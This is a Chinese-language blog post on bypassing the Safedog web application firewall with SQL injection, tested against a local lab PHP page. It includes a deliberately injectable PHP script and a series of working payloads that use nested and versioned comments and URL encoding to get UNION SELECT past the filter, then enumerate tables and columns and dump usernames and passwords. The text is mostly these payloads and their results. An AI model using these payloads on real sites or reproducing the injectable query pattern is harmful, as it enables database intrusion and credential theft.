文章目录

(原创)安全狗SQL注入绕过思路[sql注入waf绕过][sql注入bypass]

由 ssnhy13 发布


2017/09/03_Bypass_safedog_Sql注入

prat 1

本文大致内容

+ 思路以及想法

- 四重注释绕过safedog

+ 实战绕过

- 绕过and 1=1

- 绕过union+select

- 爆表

- 爆字段

- 读内容

prat 2

测试代码


<?php
$link = mysqli_connect('localhost','root','root','security');
$sql = "select * from users where id=".$_GET['id'];
$result = mysqli_query($link,$sql);
if($rows = mysqli_fetch_array($result)){
echo $rows['id'];
echo '<br>';
echo $rows['username'];
echo '<br>';
echo $rows['password'];
echo '<br>';
}
mysqli_close($link);
?>



 

prat 3

绕过 and 1=1


Url:url:http://192.168.1.107/sql.php?id=1 and 1=1


图片1.png 

发现惨遭拦截,首先让我们来看一下他拦截什么,不拦截什么。


and         不拦截
and 1        拦截
and 1 =    拦截
and 1 = 1     拦截


由此可见,只要and后面出现数字或者成立一个等式那么他就拦截,那我们用/**/注释来绕过一下看看

/**/aNd/**//**/'a'/**/ = /**/'a'/**/


注释包含把1=1替换成‘a= a’就得到了url:

http://192.168.1.107/sql.php?id=1/**/aNd/**//**/'a'/**/=/**/'b'/**/


 

图片2.png 

返回不正常(等式不等)并且发现狗就不拦截了,可见注释方法还是如此任性

 

Order by

 图片11.png

我发现我装的狗是不会拦截order by的,所以也就没绕,有需求在说。

 

字段为3,接下来爆库,当前用户。

 

绕过union+select


url:http://192.168.1.107/sql.php?id=1 UNION SELECT 1,2,3


 图片3.png

同样,先看一下他拦截什么。


union 不拦截
select 不拦截
union select 拦截



很明显,我们只需要在union与select之间处理一下就可以了。

首先使用/!50000/注释包含/!/然后使用/**/与/–*/打乱一下结构,在稍微进行一下编码处理就可以了


url:http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,2,3)/*--*/*/-- -


图片4.png 

可以发现,已经正常显示数字,并且狗没有拦截。 什么?你说没看懂?那么看下图

图片5.png 

拆分一下就发现其实很好理解,使用()select的内容包起来。

 

爆库

 


http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user(),database())/*--*/*/-- -


 

图片6.png 

发现又特么拦截了,很明显,他会拦截一些常用系统函数(还有许多就不列出来了,列出常用的)


1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本


既然已经知道了拦截什么,那么绕他还难么,掏出/**/注释大法。

user(),database()之间处理以下。

那么就成为了


user/**/(/**/)
database/**/(/**/)



完整url:


http://192.168.1.107/sql.php?id=-1/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user/**/(/**/),database/**/(/**/))/*--*/*/--

-


 

图片7.png 

正常爆出数据库跟当前用户

 

爆表

 

发现我本身的狗可能有点问题,他不拦截from,于是也没有绕,还是那句话,需要啥,绕啥。


url:http://192.168.1.107/sql.php?id=-1
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,table_name)),user/**/(/**/)
from information_schema.tables where table_schema='security')/*--*/*/ limit 0,1-- -



图片8.png 

得到Table

emails

referers

uagents

Users

爆字段

 


url:http://192.168.1.107/sql.php?id=-1
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,column_name)),user/**/(/**/)
from information_schema.columns where table_name='users')/*--*/*/ limit 0,1-- -



图片9.png 

得到column

id

username

Password

 

读内容

 


url:http://192.168.1.107/sql.php?id=-1
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,username,password)),user/**/(/**/)
from users)/*--*/*/ limit 0,1-- -
 



图片10.png 

 

Dump


Dumb#Dumb



0条评论

发表评论


验证码